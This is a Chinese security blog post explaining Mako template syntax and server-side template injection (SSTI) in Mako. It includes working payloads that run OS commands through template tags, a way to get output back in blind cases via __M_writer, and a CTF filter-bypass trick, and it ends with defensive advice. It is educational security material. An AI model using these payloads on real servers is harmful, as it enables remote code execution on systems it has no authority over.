SecMap - SSTI(mako)

admin 2022年5月1日14:51:16评论89 views字数 3919阅读13分3秒阅读模式

🍊 SecMap - SSTI(mako)

这是橘子杀手的第 47 篇文章
题图摄于:杭州 · 青山湖


SSTI(Server-Side Template Injection)服务端模板注入。

上一篇我们介绍了 jinja2 的 SSTI,SSTI 具体的定义就不啰嗦了。

mako 的一些设计和使用方式与 jinja2 是非常相似的,截止目前(2022),主流的模板语言就是 jinja2 和 mako。所以这篇就开门见山地来介绍下 mako 的 SSTI。

注:本文基本上都是 py3.x 的环境。

☁️ 介绍

mako 是 Pylons 的默认模板语言,它们之间的关系与 jinja2 和 flask 的关系类似。

首先还是先了解下语法规则  SecMap - SSTI(mako)

依旧推荐官方文档,见资料 1

🌧 mako 语法

作为一门模板语言,肯定有自己的一套语法规则。

❄️ 基础语法

mako 的基础语法规则一共 3 种:

  1. 变量取值:${ },比如输入 1+12*2,或者是字符串、调用对象的方法,都会渲染出执行的结果
  2. 控制结构:%for ... : %endfor%if ... : ... %elif: ... % else: ... %endif
  3. Python 代码块:<% ... %>
  4. 导入模块:在代码块的基础上加一个感叹号 <%! ... %>
  5. 定义函数:<%def name="..." > ... </%def>,调用:${...()}
  6. 注释:##(单行)、<%doc>(多行)
  7. 其他:
    1. 继承模板:<%inherit ... />
    2. 包含模板:<%include ... />,引用:<%page ... />
    3. 还有很多,不列举了,见:资料 2,在实际的利用过程中用到的比较少,业务上可能比较多。
  8. 可以看到上面非常依赖 %,如果非要用到 %,需要写成 %%

对于常用的语法,看一个例子就懂了:

from mako.template import Template

tp = Template('''## 这是一个注释
<%def name="my_range(n)" > <% return list(range(n))%> </%def>

<% c = 5 %>

% for i in my_range(c)+a:
    %if i % 2:
        ${ i }
    %endif
% endfor
'''
)

print(tp.render(a = [56789]))

结果就是输出 1、3、5、7、9  SecMap - SSTI(mako)

另外,mako 还有一个值得一提的特殊语法:过滤器

❄️ 过滤器

官方文档见资料 3

单个过滤器的使用和 jinja2 一样很像,都是用 | 来引用。如果要使用多个过滤器,mako 需要用 , 来指定:${" <tag>some value</tag> " | h,trim}

要定义自己的过滤器也比较简单,不需要和 jinja2 一样操作 environment,只需要定义一个函数即可使用:

<%!
import myfilters

def myescape(text):
    return "<TAG>" + text + "</TAG>"
%>

Here's some tagged text: ${"text" | myescape}
Here'
s some tagged text: ${"text" | myfilters.myescape}

非常优雅  SecMap - SSTI(mako)

🌧 SSTI in mako

❄️ 攻击思路

可以看到,mako 本身可以完美支持 Python 语句,所以利用 <% %><%! %>${} 可以非常轻松地进行攻击 SecMap - SSTI(mako),例如:

<%!
import os
os.system("whoami")
%>

# 或者

<%__import__("os").system("whoami")%>

# 或者

${__import__("os").system("whoami")}

其中 ${ } 与 jinja2 的 {{ }} 比较类似,但由于 mako 直接支持 Python 语法,所以 ${ } 可以直接使用内置函数,例如 dir。更不用说还有 <% %><%! %> 了。

当然控制结构 %for ... : %endfor%if ... : ... %elif: ... % else: ... %endif 也是 ok 的。

所以 mako 的 SSTI 手法基本上兼容 jinja2 的 SSTI 手法,可以说思路灵活得多 SecMap - SSTI(mako) 

❄️ bypass 思路

“常规” 思路

目前我还没遇到过滤很严格的情况 SecMap - SSTI(mako) 我感觉大部分过滤技巧都可以参考 jinja2 的技巧(见资料 5)或者是 Python 沙箱逃逸(见资料 6)的技巧。为了避免有水字数的嫌疑,我就不赘述了

mako 有的特殊姿势

mako 引入了新的默认变量:

In [57]: Template("${ locals() }").render()
Out[57]: """
{
  'context': <mako.runtime.Context object at 0x7fd5e8af99d0>,
  'pageargs': {},
  '__M_caller': None,
  '__M_locals': {
    'pageargs': {}
  },
  'locals': <built-in function locals>, 
  '__M_writer': <built-in method append of collections.deque object at 0x7fd5c8013ac0>
}
"""

其中比较关键的有:

  1. locals:这个就是 locals
  2. context:见资料 4
  3. __M_writer:与 print 类似,可以直接打印字符串
  4. pageargsrender 里的参数会在这里面

如果在遇到无回显的场景,就可以用 __M_writercontext.write 尝试打印。

例如:

from mako.template import Template

tp = Template('''
%for i in x:
  "a"
%endfor
'''
)

print(tp.render())

其中 x 是注入点。

那么我们就可以用 str(__M_writer(str(__import__("os").system("id")))) 来实现回显。当然,盲注或者弹 shell 也是 ok 的。

还有一种类型的利用 context.kwargs 来获取上下文环境中传递的值。例如一个 web 接口有用到 mako,且有一个参数 name,那么可以直接在模板中使用这个变量名,这个时候通常需要 eval 下。

☁️ 课后题

mako 的 CTF 很少,我只见过一道,就是今年 2022-susctf 的 HTML practice。

这道题首先需要 fuzz 出模板类型,这一步只能靠经验了  SecMap - SSTI(mako)

得出是 mako 之后,还可以得到黑名单:

%>
/>
_
+
$
[
'
"
chr
ord
hex
eval
exce
...

所以 ${ }<% %><%! %> 都不行,那么用控制结构来调用命令语句即可。这道题是没回显的,需要回显的话,可以用上文说到的办法来玩。这道题由于过滤的是 eval,有需要的话我们就可以用修饰字符绕过字符过滤,ᵉᵥᵃˡSecMap - SSTI(mako)

当然,这个技巧也在 Python 沙箱逃逸中介绍过了  SecMap - SSTI(mako)

☁️ dibber

从 Python 沙箱逃逸,到 Python 反序列化(见资料 8),到 jinja2 的 SSTI,再到 mako 的 SSTI,可以发现我们常常需要去搜索可以利用的攻击链。假设给定一个对象 [],如何通过 mro 搜到 os 模块呢?SecMap - SSTI(mako)

我以前的做法就是用 dir 来找疑似高危的模块,然后进一步分析是否有引入 os 模块。对于我这么懒的人来说,这样效率太低了。所以我写了一个自动搜索的工具,叫 dibber

SecMap - SSTI(mako)

目前已经可以支持 原始的 Python 代码、jinja2、mako 这三种形式的搜索,例如 mako 的 context,深度设定为 4,就可以得到以下结果:

SecMap - SSTI(mako)

如果遇到其他模板,或者是想搜索其他模块、函数,也可自行添加插件。感兴趣的橘友们可以试试,见资料 7  SecMap - SSTI(mako)

☁️ 防御

相比于 jinja2 来说,使用 mako 肯定更爽,因为可以随意在模板中插入 Python。但是,攻击者也很爽  SecMap - SSTI(mako)

并且对比于 jinja2 来说,jinja2 有沙箱模式,mako 没有,所以在安全性上来说,mako 用起来更加危险。所以还是不要让模板对用户可控了吧。如果非要这样的话,可以用 render 参数来传递给模板,不要直接做拼接。

☁️ 资料

  1. mako 官方文档
    https://docs.makotemplates.org/en/latest/
  2. mako 标签
    https://docs.makotemplates.org/en/latest/syntax.html#tags
  3. mako 过滤器
    https://docs.makotemplates.org/en/latest/filtering.html
  4. mako context 文档
    https://docs.makotemplates.org/en/latest/runtime.html#context
  5. SSTI-jinja2
    https://www.tr0y.wang/2022/04/13/SecMap-SSTI-jinja2/
  6. Python 沙箱逃逸经验总结
    https://www.tr0y.wang/2019/05/06/Python沙箱逃逸经验总结/
  7. dibber
    https://github.com/Macr0phag3/dibber
  8. Python 反序列化
    https://www.tr0y.wang/2022/02/03/SecMap-unserialize-python/


下期应该是 flask 相关的知识点

这段时间大家都好难啊...
又是疫情,又是股灾的...

SecMap - SSTI(mako)

还好快放假了,有了一些喘息的时间
预祝各位五一期间能和封面图的小朋友一样

自由自在,开开心心

SecMap - SSTI(mako)

SecMap - SSTI(mako)



原文始发于微信公众号(橘子杀手):SecMap - SSTI(mako)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月1日14:51:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SecMap - SSTI(mako)https://cn-sec.com/archives/963661.html

发表评论

匿名网友 填写信息